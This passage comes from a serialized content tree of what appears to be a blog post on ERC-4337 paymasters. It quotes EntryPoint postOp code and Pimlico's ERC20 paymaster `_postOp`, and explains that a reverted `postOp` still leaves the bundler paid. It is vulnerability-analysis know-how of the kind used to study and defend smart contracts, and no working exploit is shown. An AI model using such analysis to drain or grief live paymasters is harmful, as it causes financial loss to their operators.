virtual",{"type":24,"tag":83,"props":105880,"children":105881},{"style":117},[105882],{"type":29,"value":75708},{"type":24,"tag":83,"props":105884,"children":105885},{"style":107},[105886],{"type":29,"value":223},{"type":24,"tag":83,"props":105888,"children":105889},{"style":3163},[105890],{"type":29,"value":45887},{"type":24,"tag":83,"props":105892,"children":105893},{"style":137},[105894],{"type":29,"value":103354},{"type":24,"tag":83,"props":105896,"children":105897},{"style":107},[105898],{"type":29,"value":253},{"type":24,"tag":83,"props":105900,"children":105901},{"class":85,"line":256},[105902],{"type":24,"tag":83,"props":105903,"children":105904},{"style":107},[105905],{"type":29,"value":104334},{"type":24,"tag":83,"props":105907,"children":105908},{"class":85,"line":270},[105909,105913,105918,105922,105926,105930,105934],{"type":24,"tag":83,"props":105910,"children":105911},{"style":117},[105912],{"type":29,"value":58515},{"type":24,"tag":83,"props":105914,"children":105915},{"style":107},[105916],{"type":29,"value":105917}," (paymaster ",{"type":24,"tag":83,"props":105919,"children":105920},{"style":143},[105921],{"type":29,"value":8320},{"type":24,"tag":83,"props":105923,"children":105924},{"style":3163},[105925],{"type":29,"value":5996},{"type":24,"tag":83,"props":105927,"children":105928},{"style":107},[105929],{"type":29,"value":558},{"type":24,"tag":83,"props":105931,"children":105932},{"style":245},[105933],{"type":29,"value":1166},{"type":24,"tag":83,"props":105935,"children":105936},{"style":107},[105937],{"type":29,"value":704},{"type":24,"tag":83,"props":105939,"children":105940},{"class":85,"line":302},[105941,105946,105950],{"type":24,"tag":83,"props":105942,"children":105943},{"style":107},[105944],{"type":29,"value":105945},"                refundAddress ",{"type":24,"tag":83,"props":105947,"children":105948},{"style":143},[105949],{"type":29,"value":1275},{"type":24,"tag":83,"props":105951,"children":105952},{"style":107},[105953],{"type":29,"value":105954}," mUserOp.sender;\n",{"type":24,"tag":83,"props":105956,"children":105957},{"class":85,"line":324},[105958,105962,105966],{"type":24,"tag":83,"props":105959,"children":105960},{"style":107},[105961],{"type":29,"value":70309},{"type":24,"tag":83,"props":105963,"children":105964},{"style":117},[105965],{"type":29,"value":378},{"type":24,"tag":83,"props":105967,"children":105968},{"style":107},[105969],{"type":29,"value":125},{"type":24,"tag":83,"props":105971,"children":105972},{"class":85,"line":345},[105973,105977,105981],{"type":24,"tag":83,"props":105974,"children":105975},{"style":107},[105976],{"type":29,"value":105945},{"type":24,"tag":83,"props":105978,"children":105979},{"style":143},[105980],{"type":29,"value":1275},{"type":24,"tag":83,"props":105982,"children":105983},{"style":107},[105984],{"type":29,"value":105985}," paymaster;\n",{"type":24,"tag":83,"props":105987,"children":105988},{"class":85,"line":358},[105989,105993,105998,106002,106006],{"type":24,"tag":83,"props":105990,"children":105991},{"style":117},[105992],{"type":29,"value":103053},{"type":24,"tag":83,"props":105994,"children":105995},{"style":107},[105996],{"type":29,"value":105997}," (context.length ",{"type":24,"tag":83,"props":105999,"children":106000},{"style":143},[106001],{"type":29,"value":10209},{"type":24,"tag":83,"props":106003,"children":106004},{"style":245},[106005],{"type":29,"value":248},{"type":24,"tag":83,"props":106007,"children":106008},{"style":107},[106009],{"type":29,"value":253},{"type":24,"tag":83,"props":106011,"children":106012},{"class":85,"line":367},[106013,106018,106022,106026,106030],{"type":24,"tag":83,"props":106014,"children":106015},{"style":107},[106016],{"type":29,"value":106017},"                    actualGasCost ",{"type":24,"tag":83,"props":106019,"children":106020},{"style":143},[106021],{"type":29,"value":1275},{"type":24,"tag":83,"props":106023,"children":106024},{"style":107},[106025],{"type":29,"value":104825},{"type":24,"tag":83,"props":106027,"children":106028},{"style":143},[106029],{"type":29,"value":4315},{"type":24,"tag":83,"props":106031,"children":106032},{"style":107},[106033],{"type":29,"value":106034}," gasPrice;\n",{"type":24,"tag":83,"props":106036,"children":106037},{"class":85,"line":406},[106038,106042,106047,106051,106055],{"type":24,"tag":83,"props":106039,"children":106040},{"style":3163},[106041],{"type":29,"value":103010},{"type":24,"tag":83,"props":106043,"children":106044},{"style":107},[106045],{"type":29,"value":106046}," postOpPreGas ",{"type":24,"tag":83,"props":106048,"children":106049},{"style":143},[106050],{"type":29,"value":1275},{"type":24,"tag":83,"props":106052,"children":106053},{"style":90},[106054],{"type":29,"value":104843},{"type":24,"tag":83,"props":106056,"children":106057},{"style":107},[106058],{"type":29,"value":267},{"type":24,"tag":83,"props":106060,"children":106061},{"class":85,"line":427},[106062,106067,106072,106076],{"type":24,"tag":83,"props":106063,"children":106064},{"style":117},[106065],{"type":29,"value":106066},"                    if",{"type":24,"tag":83,"props":106068,"children":106069},{"style":107},[106070],{"type":29,"value":106071}," (mode ",{"type":24,"tag":83,"props":106073,"children":106074},{"style":143},[106075],{"type":29,"value":15427},{"type":24,"tag":83,"props":106077,"children":106078},{"style":107},[106079],{"type":29,"value":106080}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":24,"tag":83,"props":106082,"children":106083},{"class":85,"line":440},[106084,106089,106094],{"type":24,"tag":83,"props":106085,"children":106086},{"style":117},[106087],{"type":29,"value":106088},"                        try",{"type":24,"tag":83,"props":106090,"children":106091},{"style":101},[106092],{"type":29,"value":106093}," IPaymaster",{"type":24,"tag":83,"props":106095,"children":106096},{"style":107},[106097],{"type":29,"value":106098},"(paymaster).postOp{\n",{"type":24,"tag":83,"props":106100,"children":106101},{"class":85,"line":449},[106102,106107,106111],{"type":24,"tag":83,"props":106103,"children":106104},{"style":107},[106105],{"type":29,"value":106106},"                                gas",{"type":24,"tag":83,"props":106108,"children":106109},{"style":143},[106110],{"type":29,"value":195},{"type":24,"tag":83,"props":106112,"children":106113},{"style":107},[106114],{"type":29,"value":106115}," mUserOp.paymasterPostOpGasLimit\n",{"type":24,"tag":83,"props":106117,"children":106118},{"class":85,"line":458},[106119],{"type":24,"tag":83,"props":106120,"children":106121},{"style":107},[106122],{"type":29,"value":106123},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":24,"tag":83,"props":106125,"children":106126},{"class":85,"line":1065},[106127,106132,106137],{"type":24,"tag":83,"props":106128,"children":106129},{"style":2735},[106130],{"type":29,"value":106131},"                        // ",{"type":24,"tag":83,"props":106133,"children":106134},{"style":90},[106135],{"type":29,"value":106136},"solhint-disable",{"type":24,"tag":83,"props":106138,"children":106139},{"style":2735},[106140],{"type":29,"value":106141},"-next-line no-empty-blocks\n",{"type":24,"tag":83,"props":106143,"children":106144},{"class":85,"line":1668},[106145,106150,106154],{"type":24,"tag":83,"props":106146,"children":106147},{"style":107},[106148],{"type":29,"value":106149},"                        {} ",{"type":24,"tag":83,"props":106151,"children":106152},{"style":117},[106153],{"type":29,"value":1295},{"type":24,"tag":83,"props":106155,"children":106156},{"style":107},[106157],{"type":29,"value":125},{"type":24,"tag":83,"props":106159,"children":106160},{"class":85,"line":1713},[106161,106166,106170,106175,106179,106183,106187],{"type":24,"tag":83,"props":106162,"children":106163},{"style":3163},[106164],{"type":29,"value":106165},"                            bytes",{"type":24,"tag":83,"props":106167,"children":106168},{"style":90},[106169],{"type":29,"value":102613},{"type":24,"tag":83,"props":106171,"children":106172},{"style":107},[106173],{"type":29,"value":106174}," reason ",{"type":24,"tag":83,"props":106176,"children":106177},{"style":143},[106178],{"type":29,"value":1275},{"type":24,"tag":83,"props":106180,"children":106181},{"style":107},[106182],{"type":29,"value":105384},{"type":24,"tag":83,"props":106184,"children":106185},{"style":101},[106186],{"type":29,"value":105475},{"type":24,"tag":83,"props":106188,"children":106189},{"style":107},[106190],{"type":29,"value":105480},{"type":24,"tag":83,"props":106192,"children":106193},{"class":85,"line":1730},[106194,106199,106204],{"type":24,"tag":83,"props":106195,"children":106196},{"style":117},[106197],{"type":29,"value":106198},"                            revert",{"type":24,"tag":83,"props":106200,"children":106201},{"style":101},[106202],{"type":29,"value":106203}," PostOpReverted",{"type":24,"tag":83,"props":106205,"children":106206},{"style":107},[106207],{"type":29,"value":106208},"(reason);\n",{"type":24,"tag":83,"props":106210,"children":106211},{"class":85,"line":1770},[106212],{"type":24,"tag":83,"props":106213,"children":106214},{"style":107},[106215],{"type":29,"value":70693},{"type":24,"tag":83,"props":106217,"children":106218},{"class":85,"line":1778},[106219],{"type":24,"tag":83,"props":106220,"children":106221},{"style":107},[106222],{"type":29,"value":70778},{"type":24,"tag":83,"props":106224,"children":106225},{"class":85,"line":1803},[106226],{"type":24,"tag":83,"props":106227,"children":106228},{"style":2735},[106229],{"type":29,"value":106230},"                    // Calculating a penalty for unused postOp gas\n",{"type":24,"tag":83,"props":106232,"children":106233},{"class":85,"line":1811},[106234,106238,106242],{"type":24,"tag":83,"props":106235,"children":106236},{"style":2735},[106237],{"type":29,"value":103075},{"type":24,"tag":83,"props":106239,"children":106240},{"style":90},[106241],{"type":29,"value":66474},{"type":24,"tag":83,"props":106243,"children":106244},{"style":2735},[106245],{"type":29,"value":106246}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":24,"tag":83,"props":106248,"children":106249},{"class":85,"line":8792},[106250,106254,106259,106263,106267,106271,106275],{"type":24,"tag":83,"props":106251,"children":106252},{"style":3163},[106253],{"type":29,"value":103010},{"type":24,"tag":83,"props":106255,"children":106256},{"style":107},[106257],{"type":29,"value":106258}," postOpGasUsed ",{"type":24,"tag":83,"props":106260,"children":106261},{"style":143},[106262],{"type":29,"value":1275},{"type":24,"tag":83,"props":106264,"children":106265},{"style":107},[106266],{"type":29,"value":106046},{"type":24,"tag":83,"props":106268,"children":106269},{"style":143},[106270],{"type":29,"value":4072},{"type":24,"tag":83,"props":106272,"children":106273},{"style":90},[106274],{"type":29,"value":104843},{"type":24,"tag":83,"props":106276,"children":106277},{"style":107},[106278],{"type":29,"value":267},{"type":24,"tag":83,"props":106280,"children":106281},{"class":85,"line":8810},[106282,106287,106291,106296],{"type":24,"tag":83,"props":106283,"children":106284},{"style":107},[106285],{"type":29,"value":106286},"                    postOpUnusedGasPenalty ",{"type":24,"tag":83,"props":106288,"children":106289},{"style":143},[106290],{"type":29,"value":1275},{"type":24,"tag":83,"props":106292,"children":106293},{"style":101},[106294],{"type":29,"value":106295}," _getUnusedGasPenalty",{"type":24,"tag":83,"props":106297,"children":106298},{"style":107},[106299],{"type":29,"value":106300},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":24,"tag":83,"props":106302,"children":106303},{"class":85,"line":8855},[106304],{"type":24,"tag":83,"props":106305,"children":106306},{"style":107},[106307],{"type":29,"value":70786},{"type":24,"tag":83,"props":106309,"children":106310},{"class":85,"line":8961},[106311],{"type":24,"tag":83,"props":106312,"children":106313},{"style":107},[106314],{"type":29,"value":58599},{"type":24,"tag":83,"props":106316,"children":106317},{"class":85,"line":23248},[106318],{"type":24,"tag":83,"props":106319,"children":106320},{"style":107},[106321],{"type":29,"value":104334},{"type":24,"tag":83,"props":106323,"children":106324},{"class":85,"line":23283},[106325],{"type":24,"tag":83,"props":106326,"children":106327},{"style":107},[106328],{"type":29,"value":446},{"type":24,"tag":25,"props":106330,"children":106331},{},[106332,106334,106339,106341,106347,106349,106355,106357,106362,106364,106369,106371,106376,106378,106383,106385,106390,106392,106397],{"type":29,"value":106333},"It turns out that if the ",{"type":24,"tag":32,"props":106335,"children":106337},{"className":106336},[],[106338],{"type":29,"value":101914},{"type":29,"value":106340}," call fails, it will revert with ",{"type":24,"tag":32,"props":106342,"children":106344},{"className":106343},[],[106345],{"type":29,"value":106346},"PostOpReverted",{"type":29,"value":106348},". However, as we can see in the previous code of ",{"type":24,"tag":32,"props":106350,"children":106352},{"className":106351},[],[106353],{"type":29,"value":106354},"_executeUserOp",{"type":29,"value":106356},", even though ",{"type":24,"tag":32,"props":106358,"children":106360},{"className":106359},[],[106361],{"type":29,"value":105056},{"type":29,"value":106363}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":24,"tag":32,"props":106365,"children":106367},{"className":106366},[],[106368],{"type":29,"value":105724},{"type":29,"value":106370}," call with ",{"type":24,"tag":32,"props":106372,"children":106374},{"className":106373},[],[106375],{"type":29,"value":105732},{"type":29,"value":106377}," mode, and it won't try to call ",{"type":24,"tag":32,"props":106379,"children":106381},{"className":106380},[],[106382],{"type":29,"value":101914},{"type":29,"value":106384}," again. This means the ",{"type":24,"tag":32,"props":106386,"children":106388},{"className":106387},[],[106389],{"type":29,"value":101775},{"type":29,"value":106391}," still gets paid for submitting the failed ",{"type":24,"tag":32,"props":106393,"children":106395},{"className":106394},[],[106396],{"type":29,"value":101715},{"type":29,"value":161},{"type":24,"tag":25,"props":106399,"children":106400},{},[106401,106403,106408,106410,106415,106417,106424],{"type":29,"value":106402},"Now that we understand this behavior where ",{"type":24,"tag":32,"props":106404,"children":106406},{"className":106405},[],[106407],{"type":29,"value":101914},{"type":29,"value":106409}," is allowed to fail while the ",{"type":24,"tag":32,"props":106411,"children":106413},{"className":106412},[],[106414],{"type":29,"value":101775},{"type":29,"value":106416}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":24,"tag":2033,"props":106418,"children":106421},{"href":106419,"rel":106420},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[2037],[106422],{"type":29,"value":106423},"Pimlico",{"type":29,"value":161},{"type":24,"tag":73,"props":106426,"children":106428},{"className":4220,"code":106427,"language":4219,"meta":7,"style":7},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[106429],{"type":24,"tag":32,"props":106430,"children":106431},{"__ignoreMap":7},[106432,106447,106464,106484,106500,106512,106519,106526,106533,106564,106571,106596,106604,106611,106618,106647,106654,106670,106692,106699,106715,106765,106772,106788,106796,106829,106862,106870,106877,106884,106927,106934,106983,107009,107016,107023,107040],{"type":24,"tag":83,"props":106433,"children":106434},{"class":85,"line":86},[106435,106439,106443],{"type":24,"tag":83,"props":106436,"children":106437},{"style":90},[106438],{"type":29,"value":89544},{"type":24,"tag":83,"props":106440,"children":106441},{"style":101},[106442],{"type":29,"value":103316},{"type":24,"tag":83,"props":106444,"children":106445},{"style":107},[106446],{"type":29,"value":3208},{"type":24,"tag":83,"props":106448,"children":106449},{"class":85,"line":113},[106450,106455,106459],{"type":24,"tag":83,"props":106451,"children":106452},{"style":90},[106453],{"type":29,"value":106454},"        PostOpMode",{"type":24,"tag":83,"props":106456,"children":106457},{"style":107},[106458],{"type":29,"value":568},{"type":24,"tag":83,"props":106460,"children":106461},{"style":2735},[106462],{"type":29,"value":106463},"/* mode */\n",{"type":24,"tag":83,"props":106465,"children":106466},{"class":85,"line":128},[106467,106471,106475,106480],{"type":24,"tag":83,"props":106468,"children":106469},{"style":3163},[106470],{"type":29,"value":105232},{"type":24,"tag":83,"props":106472,"children":106473},{"style":90},[106474],{"type":29,"value":102545},{"type":24,"tag":83,"props":106476,"children":106477},{"style":137},[106478],{"type":29,"value":106479}," _context",{"type":24,"tag":83,"props":106481,"children":106482},{"style":107},[106483],{"type":29,"value":989},{"type":24,"tag":83,"props":106485,"children":106486},{"class":85,"line":183},[106487,106491,106496],{"type":24,"tag":83,"props":106488,"children":106489},{"style":3163},[106490],{"type":29,"value":89722},{"type":24,"tag":83,"props":106492,"children":106493},{"style":137},[106494],{"type":29,"value":106495}," _actualGasCost",{"type":24,"tag":83,"props":106497,"children":106498},{"style":107},[106499],{"type":29,"value":989},{"type":24,"tag":83,"props":106501,"children":106502},{"class":85,"line":203},[106503,106507],{"type":24,"tag":83,"props":106504,"children":106505},{"style":3163},[106506],{"type":29,"value":89722},{"type":24,"tag":83,"props":106508,"children":106509},{"style":137},[106510],{"type":29,"value":106511}," _actualUserOpFeePerGas\n",{"type":24,"tag":83,"props":106513,"children":106514},{"class":85,"line":212},[106515],{"type":24,"tag":83,"props":106516,"children":106517},{"style":107},[106518],{"type":29,"value":23669},{"type":24,"tag":83,"props":106520,"children":106521},{"class":85,"line":256},[106522],{"type":24,"tag":83,"props":106523,"children":106524},{"style":90},[106525],{"type":29,"value":102584},{"type":24,"tag":83,"props":106527,"children":106528},{"class":85,"line":270},[106529],{"type":24,"tag":83,"props":106530,"children":106531},{"style":107},[106532],{"type":29,"value":28938},{"type":24,"tag":83,"props":106534,"children":106535},{"class":85,"line":302},[106536,106541,106545,106550,106554,106559],{"type":24,"tag":83,"props":106537,"children":106538},{"style":107},[106539],{"type":29,"value":106540},"        ERC20PostOpContext ",{"type":24,"tag":83,"props":106542,"children":106543},{"style":90},[106544],{"type":29,"value":75687},{"type":24,"tag":83,"props":106546,"children":106547},{"style":107},[106548],{"type":29,"value":106549}," ctx ",{"type":24,"tag":83,"props":106551,"children":106552},{"style":143},[106553],{"type":29,"value":1275},{"type":24,"tag":83,"props":106555,"children":106556},{"style":101},[106557],{"type":29,"value":106558}," _parsePostOpContext",{"type":24,"tag":83,"props":106560,"children":106561},{"style":107},[106562],{"type":29,"value":106563},"(_context);\n",{"type":24,"tag":83,"props":106565,"children":106566},{"class":85,"line":324},[106567],{"type":24,"tag":83,"props":106568,"children":106569},{"emptyLinePlaceholder":16},[106570],{"type":29,"value":3422},{"type":24,"tag":83,"props":106572,"children":106573},{"class":85,"line":345},[106574,106578,106583,106587,106592],{"type":24,"tag":83,"props":106575,"children":106576},{"style":3163},[106577],{"type":29,"value":89722},{"type":24,"tag":83,"props":106579,"children":106580},{"style":107},[106581],{"type":29,"value":106582}," expectedPenaltyGasCost ",{"type":24,"tag":83,"props":106584,"children":106585},{"style":143},[106586],{"type":29,"value":1275},{"type":24,"tag":83,"props":106588,"children":106589},{"style":101},[106590],{"type":29,"value":106591}," _expectedPenaltyGasCost",{"type":24,"tag":83,"props":106593,"children":106594},{"style":107},[106595],{"type":29,"value":3208},{"type":24,"tag":83,"props":106597,"children":106598},{"class":85,"line":358},[106599],{"type":24,"tag":83,"props":106600,"children":106601},{"style":107},[106602],{"type":29,"value":106603},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":24,"tag":83,"props":106605,"children":106606},{"class":85,"line":367},[106607],{"type":24,"tag":83,"props":106608,"children":106609},{"style":107},[106610],{"type":29,"value":7491},{"type":24,"tag":83,"props":106612,"children":106613},{"class":85,"line":406},[106614],{"type":24,"tag":83,"props":106615,"children":106616},{"emptyLinePlaceholder":16},[106617],{"type":29,"value":3422},{"type":24,"tag":83,"props":106619,"children":106620},{"class":85,"line":427},[106621,106625,106629,106633,106638,106642],{"type":24,"tag":83,"props":106622,"children":106623},{"style":3163},[106624],{"type":29,"value":89722},{"type":24,"tag":83,"props":106626,"children":106627},{"style":107},[106628],{"type":29,"value":103640},{"type":24,"tag":83,"props":106630,"children":106631},{"style":143},[106632],{"type":29,"value":1275},{"type":24,"tag":83,"props":106634,"children":106635},{"style":107},[106636],{"type":29,"value":106637}," _actualGasCost ",{"type":24,"tag":83,"props":106639,"children":106640},{"style":143},[106641],{"type":29,"value":4126},{"type":24,"tag":83,"props":106643,"children":106644},{"style":107},[106645],{"type":29,"value":106646}," expectedPenaltyGasCost;\n",{"type":24,"tag":83,"props":106648,"children":106649},{"class":85,"line":440},[106650],{"type":24,"tag":83,"props":106651,"children":106652},{"emptyLinePlaceholder":16},[106653],{"type":29,"value":3422},{"type":24,"tag":83,"props":106655,"children":106656},{"class":85,"line":449},[106657,106661,106666],{"type":24,"tag":83,"props":106658,"children":106659},{"style":3163},[106660],{"type":29,"value":89722},{"type":24,"tag":83,"props":106662,"children":106663},{"style":107},[106664],{"type":29,"value":106665}," costInToken ",{"type":24,"tag":83,"props":106667,"children":106668},{"style":143},[106669],{"type":29,"value":14436},{"type":24,"tag":83,"props":106671,"children":106672},{"class":85,"line":458},[106673,106678,106683,106687],{"type":24,"tag":83,"props":106674,"children":106675},{"style":101},[106676],{"type":29,"value":106677},"            getCostInToken",{"type":24,"tag":83,"props":106679,"children":106680},{"style":107},[106681],{"type":29,"value":106682},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":24,"tag":83,"props":106684,"children":106685},{"style":143},[106686],{"type":29,"value":4126},{"type":24,"tag":83,"props":106688,"children":106689},{"style":107},[106690],{"type":29,"value":106691}," ctx.constantFee;\n",{"type":24,"tag":83,"props":106693,"children":106694},{"class":85,"line":1065},[106695],{"type":24,"tag":83,"props":106696,"children":106697},{"emptyLinePlaceholder":16},[106698],{"type":29,"value":3422},{"type":24,"tag":83,"props":106700,"children":106701},{"class":85,"line":1668},[106702,106706,106711],{"type":24,"tag":83,"props":106703,"children":106704},{"style":3163},[106705],{"type":29,"value":89722},{"type":24,"tag":83,"props":106707,"children":106708},{"style":107},[106709],{"type":29,"value":106710}," absoluteCostInToken ",{"type":24,"tag":83,"props":106712,"children":106713},{"style":143},[106714],{"type":29,"value":14436},{"type":24,"tag":83,"props":106716,"children":106717},{"class":85,"line":1713},[106718,106723,106727,106732,106736,106740,106744,106748,106752,106756,106760],{"type":24,"tag":83,"props":106719,"children":106720},{"style":107},[106721],{"type":29,"value":106722},"            costInToken ",{"type":24,"tag":83,"props":106724,"children":106725},{"style":143},[106726],{"type":29,"value":10209},{"type":24,"tag":83,"props":106728,"children":106729},{"style":107},[106730],{"type":29,"value":106731}," ctx.preFundCharged ",{"type":24,"tag":83,"props":106733,"children":106734},{"style":143},[106735],{"type":29,"value":2900},{"type":24,"tag":83,"props":106737,"children":106738},{"style":107},[106739],{"type":29,"value":106665},{"type":24,"tag":83,"props":106741,"children":106742},{"style":143},[106743],{"type":29,"value":4072},{"type":24,"tag":83,"props":106745,"children":106746},{"style":107},[106747],{"type":29,"value":106731},{"type":24,"tag":83,"props":106749,"children":106750},{"style":143},[106751],{"type":29,"value":195},{"type":24,"tag":83,"props":106753,"children":106754},{"style":107},[106755],{"type":29,"value":106731},{"type":24,"tag":83,"props":106757,"children":106758},{"style":143},[106759],{"type":29,"value":4072},{"type":24,"tag":83,"props":106761,"children":106762},{"style":107},[106763],{"type":29,"value":106764}," costInToken;\n",{"type":24,"tag":83,"props":106766,"children":106767},{"class":85,"line":1730},[106768],{"type":24,"tag":83,"props":106769,"children":106770},{"emptyLinePlaceholder":16},[106771],{"type":29,"value":3422},{"type":24,"tag":83,"props":106773,"children":106774},{"class":85,"line":1770},[106775,106780,106784],{"type":24,"tag":83,"props":106776,"children":106777},{"style":107},[106778],{"type":29,"value":106779},"        SafeTransferLib.",{"type":24,"tag":83,"props":106781,"children":106782},{"style":101},[106783],{"type":29,"value":103171},{"type":24,"tag":83,"props":106785,"children":106786},{"style":107},[106787],{"type":29,"value":3208},{"type":24,"tag":83,"props":106789,"children":106790},{"class":85,"line":1778},[106791],{"type":24,"tag":83,"props":106792,"children":106793},{"style":107},[106794],{"type":29,"value":106795},"            ctx.token,\n",{"type":24,"tag":83,"props":106797,"children":106798},{"class":85,"line":1803},[106799,106803,106807,106811,106815,106820,106824],{"type":24,"tag":83,"props":106800,"children":106801},{"style":107},[106802],{"type":29,"value":106722},{"type":24,"tag":83,"props":106804,"children":106805},{"style":143},[106806],{"type":29,"value":10209},{"type":24,"tag":83,"props":106808,"children":106809},{"style":107},[106810],{"type":29,"value":106731},{"type":24,"tag":83,"props":106812,"children":106813},{"style":143},[106814],{"type":29,"value":2900},{"type":24,"tag":83,"props":106816,"children":106817},{"style":107},[106818],{"type":29,"value":106819}," ctx.sender ",{"type":24,"tag":83,"props":106821,"children":106822},{"style":143},[106823],{"type":29,"value":195},{"type":24,"tag":83,"props":106825,"children":106826},{"style":107},[106827],{"type":29,"value":106828}," ctx.treasury,\n",{"type":24,"tag":83,"props":106830,"children":106831},{"class":85,"line":1811},[106832,106836,106840,106844,106848,106853,106857],{"type":24,"tag":83,"props":106833,"children":106834},{"style":107},[106835],{"type":29,"value":106722},{"type":24,"tag":83,"props":106837,"children":106838},{"style":143},[106839],{"type":29,"value":10209},{"type":24,"tag":83,"props":106841,"children":106842},{"style":107},[106843],{"type":29,"value":106731},{"type":24,"tag":83,"props":106845,"children":106846},{"style":143},[106847],{"type":29,"value":2900},{"type":24,"tag":83,"props":106849,"children":106850},{"style":107},[106851],{"type":29,"value":106852}," ctx.treasury ",{"type":24,"tag":83,"props":106854,"children":106855},{"style":143},[106856],{"type":29,"value":195},{"type":24,"tag":83,"props":106858,"children":106859},{"style":107},[106860],{"type":29,"value":106861}," ctx.sender,\n",{"type":24,"tag":83,"props":106863,"children":106864},{"class":85,"line":8792},[106865],{"type":24,"tag":83,"props":106866,"children":106867},{"style":107},[106868],{"type":29,"value":106869},"            absoluteCostInToken\n",{"type":24,"tag":83,"props":106871,"children":106872},{"class":85,"line":8810},[106873],{"type":24,"tag":83,"props":106874,"children":106875},{"style":107},[106876],{"type":29,"value":7491},{"type":24,"tag":83,"props":106878,"children":106879},{"class":85,"line":8855},[106880],{"type":24,"tag":83,"props":106881,"children":106882},{"emptyLinePlaceholder":16},[106883],{"type":29,"value":3422},{"type":24,"tag":83,"props":106885,"children":106886},{"class":85,"line":8961},[106887,106891,106896,106900,106905,106909,106914,106918,106923],{"type":24,"tag":83,"props":106888,"children":106889},{"style":3163},[106890],{"type":29,"value":89722},{"type":24,"tag":83,"props":106892,"children":106893},{"style":107},[106894],{"type":29,"value":106895}," preFundInToken ",{"type":24,"tag":83,"props":106897,"children":106898},{"style":143},[106899],{"type":29,"value":1275},{"type":24,"tag":83,"props":106901,"children":106902},{"style":107},[106903],{"type":29,"value":106904}," (ctx.preFund ",{"type":24,"tag":83,"props":106906,"children":106907},{"style":143},[106908],{"type":29,"value":4315},{"type":24,"tag":83,"props":106910,"children":106911},{"style":107},[106912],{"type":29,"value":106913}," ctx.exchangeRate) ",{"type":24,"tag":83,"props":106915,"children":106916},{"style":143},[106917],{"type":29,"value":4325},{"type":24,"tag":83,"props":106919,"children":106920},{"style":245},[106921],{"type":29,"value":106922}," 1e18",{"type":24,"tag":83,"props":106924,"children":106925},{"style":107},[106926],{"type":29,"value":321},{"type":24,"tag":83,"props":106928,"children":106929},{"class":85,"line":23248},[106930],{"type":24,"tag":83,"props":106931,"children":106932},{"emptyLinePlaceholder":16},[106933],{"type":29,"value":3422},{"type":24,"tag":83,"props":106935,"children":106936},{"class":85,"line":23283},[106937,106941,106946,106950,106954,106958,106962,106966,106970,106974,106978],{"type":24,"tag":83,"props":106938,"children":106939},{"style":117},[106940],{"type":29,"value":3018},{"type":24,"tag":83,"props":106942,"children":106943},{"style":107},[106944],{"type":29,"value":106945}," (ctx.recipient ",{"type":24,"tag":83,"props":106947,"children":106948},{"style":143},[106949],{"type":29,"value":15427},{"type":24,"tag":83,"props":106951,"children":106952},{"style":3163},[106953],{"type":29,"value":5996},{"type":24,"tag":83,"props":106955,"children":106956},{"style":107},[106957],{"type":29,"value":558},{"type":24,"tag":83,"props":106959,"children":106960},{"style":245},[106961],{"type":29,"value":1166},{"type":24,"tag":83,"props":106963,"children":106964},{"style":107},[106965],{"type":29,"value":633},{"type":24,"tag":83,"props":106967,"children":106968},{"style":143},[106969],{"type":29,"value":72912},{"type":24,"tag":83,"props":106971,"children":106972},{"style":107},[106973],{"type":29,"value":106895},{"type":24,"tag":83,"props":106975,"children":106976},{"style":143},[106977],{"type":29,"value":10209},{"type":24,"tag":83,"props":106979,"children":106980},{"style":107},[106981],{"type":29,"value":106982}," costInToken) {\n",{"type":24,"tag":83,"props":106984,"children":106985},{"class":85,"line":23291},[106986,106991,106995,107000,107004],{"type":24,"tag":83,"props":106987,"children":106988},{"style":107},[106989],{"type":29,"value":106990},"            SafeTransferLib.",{"type":24,"tag":83,"props":106992,"children":106993},{"style":101},[106994],{"type":29,"value":103171},{"type":24,"tag":83,"props":106996,"children":106997},{"style":107},[106998],{"type":29,"value":106999},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":24,"tag":83,"props":107001,"children":107002},{"style":143},[107003],{"type":29,"value":4072},{"type":24,"tag":83,"props":107005,"children":107006},{"style":107},[107007],{"type":29,"value":107008}," 